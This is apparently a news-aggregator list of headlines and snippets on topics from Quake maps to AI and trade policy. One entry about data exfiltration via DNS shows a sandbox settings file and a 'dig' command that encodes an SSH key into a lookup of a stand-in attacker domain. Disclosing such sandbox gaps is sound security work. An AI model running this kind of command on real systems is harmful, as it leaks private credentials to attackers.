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241. Quake 1 Single-Player Map Design Theories (2001)
TEAMShambler Quake Level Reviews
242. Advancing Claude in healthcare and the life sciences
Introducing Claude for Healthcare with HIPAA-ready infrastructure, plus expanded Life Sciences tools for clinical trials and regulatory submissions. New connectors to CMS, Medidata, and ClinicalTrials.gov.
243. A Eulogy for Dark Sky, a Data Visualization Masterpiece (2023)
A deep look at how the Dark Sky weather app used simple but highly effective charts to report and contextualize the weather.
244. Apple-1 Computer Prototype Board #0 Auction
Unique, pre-production Apple-1 pre-NTI board, representing the earliest known fiber
245. Data Exfiltration via DNS Resolution
settings.json { "network": { "allowedDomains": [], "deniedDomains": [], "allowLocalBinding": true }, "filesystem": { "denyRead": [], "allowWrite": [], "denyWrite": [] } } command srt --settings settings.json 'dig your-ssh-key.a.evil.com'...
246. Advocacy groups call on Apple, Google to drop X and Grok from app stores
247. How problematic is resampling audio from 44.1 to 48 kHz?
Audio CDs were recorded using a 44.1 kHz sample rate that is found almost nowhere else. If we have to resample this audio to suit more modern equipment, how much loss of audio quality will there be?
248. An archaeology of tracking on government websites
249. NASA topples towers used to test Saturn rockets, space shuttle
Two large structures that once were key to NASA's successes in orbit and at the moon have fallen back to "earth" at the Marshall Space Flight Center in Alabama.
250. China announces record $1.2T trade surplus despite Trump tariffs
Beijing reported the largest-ever trade surplus at $1.19tn as China diversified its trade.
251. Beijing tells Chinese firms to stop using US and Israeli cybersecurity software
Chinese authorities have told domestic companies to stop using cybersecurity software made by more than a dozen firms from the U.S. and Israel due to national security concerns, three people briefed on the matter said. As trade and diplomatic tensions flare between China and the U.S. and both sides vie ​for tech supremacy, Beijing has been keen to replace Western-made technology with domestic alternatives. The U.S. companies whose cybersecurity software has been banned include Broadcom-owned VMware, Palo Alto ‌Networks and Fortinet, while the Israeli companies include Check Point Software Technologies, two of the sources said.
252. C++ std::move doesn't move anything: A deep dive into Value Categories
Why std::move is just a cast, how it kills RVO if used wrong, and the mechanics of ownership transfer.
253. More than one hundred years of Film Sizes
ONE HUNDRED YEARS OF DIFFERENT FILM SIZES - history with pictures >
254. Ireland fast tracks Bill to criminalise harmful voice or image misuse
The Protection of Voice and Image Bill would target AI deepfakes and identity ‘hijacking’
255. Families reeling, businesses suffering after ICE raided Ventura cannabis farms
In Oxnard, families remain separated and shops are hurting because of deportations and fear of further immigration raids after two in July at Glass House Farms.
256. AI solves Erdos problem #728 (Terence Tao mathstodon post)
Recently, the application of AI tools to Erdos problems passed a milestone: an Erdos problem (#728 https://www.erdosproblems.com/728) was solved more or less autonomously by AI (after some feedback from an initial attempt), in the spirit of the problem (as reconstructed by the Erdos problem website community), with the result (to the best of our knowledge) not replicated in existing literature (although similar results proven by similar methods were located). This is a demonstration of the genuine increase in capability of these tools in recent months, and is largely consistent with other recent demonstrations of AI using existing methods to resolve Erdos problems, although in most previous cases a solution to these problems was later located in the literature, as discussed in https://mathstodon.xyz/deck/@tao/115788262274999408 . This particular case was unusual in that the problem as stated by Erdos was misformulated, with a reconstruction of the problem in the intended spirit only obtained in the last few months, which helps explain the lack of prior literature on the problem. However, I would like to talk here about another aspect of the story which I find more interesting than the solution itself, which is the emerging AI-powered capability to rapidly write and rewrite expositions of the solution. (1/5)
257. Thirteen Months That Changed IBM
258. Beating the House for the Love of Math
Learn about card counting techniques, blackjack mathematics, and advantage play strategies.
259. Sampling at negative temperature
260. Why IRC is better than Real Life
You can IRC with bad breath, or in coke-bottle glasses, or with a huge pimple and still be a sex goddess. Virtual chocolate doesn't cost anything, and it...
261. Moving Scratch generation to Python on browser
FOSS and life. Kushal Das talks here.
262. Anthropic: Developing a Claude Code competitor using Claude Code is banned
263. PauseOS: Distraction-Free Phone OS
264. AI is a business model stress test
AI commoditizes anything you can specify. It can't (yet) commoditize what requires ongoing operation.
265. Open Chaos: A self-evolving open-source project
A self-evolving open source project. Vote on PRs. Winner gets merged every Sunday.
266. BYD's cheapest electric cars to have Lidar self-driving tech
BYD to launch affordable electric hatchbacks with LiDAR sensors to help upgrade autonomous driving tech in its cheaper cars.
267. Network of Scottish X accounts go dark amid Iran blackout
The silence from the group of accounts, which began on Thursday, comes amid widespread protests against the leadership of the Islamic Republic.
268. AI industry insiders launch site to poison the data that feeds them
269. Side-by-side comparison of how AI models answer moral dilemmas
Explore how 20 leading AI models respond to tough ethical, social, and political questions. See how their answers compare to each other and to you.
270. PHP in 2026